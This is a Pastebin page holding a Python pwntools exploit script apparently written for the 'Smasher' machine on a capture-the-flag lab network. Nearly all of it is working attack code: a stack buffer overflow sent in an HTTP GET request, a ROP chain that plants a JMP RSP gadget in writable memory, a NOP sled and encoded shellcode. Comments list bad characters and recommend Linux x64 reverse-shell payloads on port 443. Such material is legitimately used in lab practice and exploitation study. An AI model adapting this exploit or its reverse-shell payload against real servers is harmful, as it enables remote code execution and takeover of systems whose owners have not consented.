Harcrack

exnoleak.py

Nov 7th, 2018
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.67 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. from pwn import *
  4.  
  5. HOST = "10.10.10.89"
  6. PORT = "1111"
  7.  
  8. r = remote(HOST, PORT)
  9.  
  10. #context.log_level = 'DEBUG'
  11.  
  12. junk = "A" * 568
  13.  
  14. rop_chain = flat (
  15.     0x401106,       # 0x0000000000401106 : pop r13 ; ret
  16.     0xe4ff,         # Hardcoded JMP RSP
  17.     0x4010ff,       # 0x00000000004010ff : mov rax, r13 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; ret
  18.     "B" * 32,       # Junk
  19.     0x4011dd,       # #0x00000000004011dd : pop rdi ; ret
  20.     0x603500,       # 0x00603000        0x00604000         rwxp /root/Smasher/tiny (RDI <- 0x00603500)
  21.     0x401304,       # 0x0000000000401304 : mov dword ptr [rdi + 4], eax ; ret
  22.     0x603504,       # JMP RSP execution (0x603504)
  23.     endianness = 'little', word_size = 64, sign = False)
  24.  
  25. nops = "\x90" * 40
  26.  
  27. # Badchars: \x00\x09\x0a\x0b\x0c\x0d\x20\x21
  28. # Recommended payloads: linux/x64/shell_reverse_tcp or linux/x64/shell/reverse_tcp
  29. # Always use LPORT = 443
  30.  
  31. shellcode =  ""
  32. shellcode += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d"
  33. shellcode += "\x05\xef\xff\xff\xff\x48\xbb\x13\x95\x3a\xe5\xaf"
  34. shellcode += "\xcf\xee\x1a\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
  35. shellcode += "\xff\xe2\xf4\x79\xbc\x62\x7c\xc5\xcd\xb1\x70\x12"
  36. shellcode += "\xcb\x35\xe0\xe7\x58\xa6\xa3\x11\x95\x3b\x5e\xa5"
  37. shellcode += "\xc5\xe1\x94\x42\xdd\xb3\x03\xc5\xdf\xb4\x70\x39"
  38. shellcode += "\xcd\x35\xe0\xc5\xcc\xb0\x52\xec\x5b\x50\xc4\xf7"
  39. shellcode += "\xc0\xeb\x6f\xe5\xff\x01\xbd\x36\x87\x55\x35\x71"
  40. shellcode += "\xfc\x54\xca\xdc\xa7\xee\x49\x5b\x1c\xdd\xb7\xf8"
  41. shellcode += "\x87\x67\xfc\x1c\x90\x3a\xe5\xaf\xcf\xee\x1a"
  42.  
  43. payload = 'GET ' + junk + urlencode(rop_chain) + nops + shellcode + '\r\n\r\n'
  44.  
  45. r.send(payload)
Add Comment
Please, Sign In to add comment